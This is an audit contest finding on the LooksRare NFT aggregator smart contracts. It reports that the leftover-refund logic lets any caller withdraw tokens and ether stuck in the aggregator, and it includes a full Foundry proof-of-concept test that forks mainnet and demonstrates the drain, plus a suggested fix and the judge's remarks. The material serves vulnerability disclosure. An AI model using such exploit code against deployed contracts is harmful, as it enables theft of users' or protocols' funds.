Platform: Code4rena
Start Date: 08/11/2022
Pot Size: $60,500 USDC
Total HM: 6
Participants: 72
Period: 5 days
Judge: Picodes
Total Solo HM: 2
Id: 178
League: ETH
Rank: 44/72
Findings: 1
Award: $77.22
🌟 Selected for report: 0
🚀 Solo Findings: 0
77.2215 USDC - $77.22
https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L108-L109 https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L244 https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/lowLevelCallers/LowLevelETH.sol#L46
_returnERC20TokensIfAny
and _returnETHIfAny
in execute
can be used by the public to withdraw stuck funds from LooksRareAggregator by running execute
for either ERC20EnabledLooksRareAggregator or LooksRareAggregator. The two _return...
functions use LooksRareAggregator's balances to determine user leftovers. Therefore, stuck balances in LooksRareAggregator are also considered. User can withdraw all stuck funds and Admin calling TokerRescuer
functions will rescue nothing.
LooksRareAggregator.sol#L108-L109
if (tokenTransfersLength > 0) _returnERC20TokensIfAny(tokenTransfers, originator); _returnETHIfAny(originator);
uint256 balance = IERC20(tokenTransfers[i].currency).balanceOf(address(this));
let status := call(gas(), recipient, selfbalance(), 0, 0, 0, 0)
place POC in test/foundry/ and run FOUNDRY_PROFILE=local forge test --match test_UserCanWithdrawStuckFunds -vvv
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; import {IERC20} from "../../contracts/interfaces/IERC20.sol"; import {IERC721} from "../../contracts/interfaces/IERC721.sol"; import {SeaportProxy} from "../../contracts/proxies/SeaportProxy.sol"; import {ERC20EnabledLooksRareAggregator} from "../../contracts/ERC20EnabledLooksRareAggregator.sol"; import {LooksRareAggregator} from "../../contracts/LooksRareAggregator.sol"; import {IProxy} from "../../contracts/interfaces/IProxy.sol"; import {ILooksRareAggregator} from "../../contracts/interfaces/ILooksRareAggregator.sol"; import {BasicOrder, FeeData, TokenTransfer} from "../../contracts/libraries/OrderStructs.sol"; import {TestHelpers} from "./TestHelpers.sol"; import {TestParameters} from "./TestParameters.sol"; import {SeaportProxyTestHelpers} from "./SeaportProxyTestHelpers.sol"; import {console} from "forge-std/console.sol"; contract WithdrawFundsFromAggregatorTest is TestParameters, TestHelpers, SeaportProxyTestHelpers { LooksRareAggregator private aggregator; ERC20EnabledLooksRareAggregator private erc20EnabledAggregator; SeaportProxy private seaportProxy; function setUp() public { vm.createSelectFork(vm.rpcUrl("mainnet"), 15_491_323); aggregator = new LooksRareAggregator(); erc20EnabledAggregator = new ERC20EnabledLooksRareAggregator(address(aggregator)); seaportProxy = new SeaportProxy(SEAPORT, address(aggregator)); aggregator.addFunction(address(seaportProxy), SeaportProxy.execute.selector); aggregator.approve(SEAPORT, USDC, type(uint256).max); //2.5% aggregator.setFee(address(seaportProxy), 250, _protocolFeeRecipient); aggregator.setERC20EnabledLooksRareAggregator(address(erc20EnabledAggregator)); } function test_UserCanWithdrawStuckFunds() public asPrankedUser(_buyer) { vm.deal(address(aggregator), 1 ether); // 1 ether stuck in aggregator contract deal(USDC, address(aggregator), 1e6); // 1 dollar USDC stuck in aggregator contract console.log("before buyer ether balance: ", address(_buyer).balance); // 0 ether console.log("before buyer usdc balance: ", IERC20(USDC).balanceOf(address(_buyer))); // 0 USDC ILooksRareAggregator.TradeData[] memory tradeData = _generateTradeData(); //create a trade, this will not revert even if all orders fail with `isAtomic` set to false for `execute` function TokenTransfer[] memory tokenTransfers = new TokenTransfer[](1); tokenTransfers[0].currency = USDC; tokenTransfers[0].amount = 0; //sending 0 USDC, therefore no need to approve erc20EnabledAggregator.execute(tokenTransfers, tradeData, _buyer, false); //executing with 0 ether and 0 USDC console.log("after buyer ether balance: ", address(_buyer).balance); //1000000000000000000 = 1 ether console.log("after buyer usdc balance: ", IERC20(USDC).balanceOf(address(_buyer))); //1000000 = 1 dollar USDC } function _generateTradeData() private view returns (ILooksRareAggregator.TradeData[] memory) { BasicOrder memory orderOne = validBAYCId9948Order(); BasicOrder memory orderTwo = validBAYCId8350Order(); BasicOrder[] memory orders = new BasicOrder[](2); orders[0] = orderOne; orders[1] = orderTwo; bytes[] memory ordersExtraData = new bytes[](2); { bytes memory orderOneExtraData = validBAYCId9948OrderExtraData(); bytes memory orderTwoExtraData = validBAYCId8350OrderExtraData(); ordersExtraData[0] = orderOneExtraData; ordersExtraData[1] = orderTwoExtraData; } bytes memory extraData = validMultipleItemsSameCollectionExtraData(); ILooksRareAggregator.TradeData[] memory tradeData = new ILooksRareAggregator.TradeData[](1); tradeData[0] = ILooksRareAggregator.TradeData({ proxy: address(seaportProxy), selector: SeaportProxy.execute.selector, value: 0, maxFeeBp: 250, orders: orders, ordersExtraData: ordersExtraData, extraData: extraData }); return tradeData; } }
1 ether and 1e6 USDC is stuck in aggregator. User can execute a trade with all the ERC20 tokens stuck in the aggregator and all the stuck funds will be transferred to user.
Note that isAtomic can also be set to true to withdraw stuck funds if all orders in the trade are successful.
Foundry
have a beforeBalances that get the erc20 tokens and ETH balances of the aggregator before executing the trade and accounting it in the leftovers e.g usdc.balanceOf(this) - beforeBalances[usdc]
#0 - c4-judge
2022-11-19T10:00:40Z
Picodes marked the issue as duplicate of #277
#1 - c4-judge
2022-12-16T13:55:49Z
Picodes changed the severity to 2 (Med Risk)
#2 - c4-judge
2022-12-16T13:55:51Z
Picodes marked the issue as satisfactory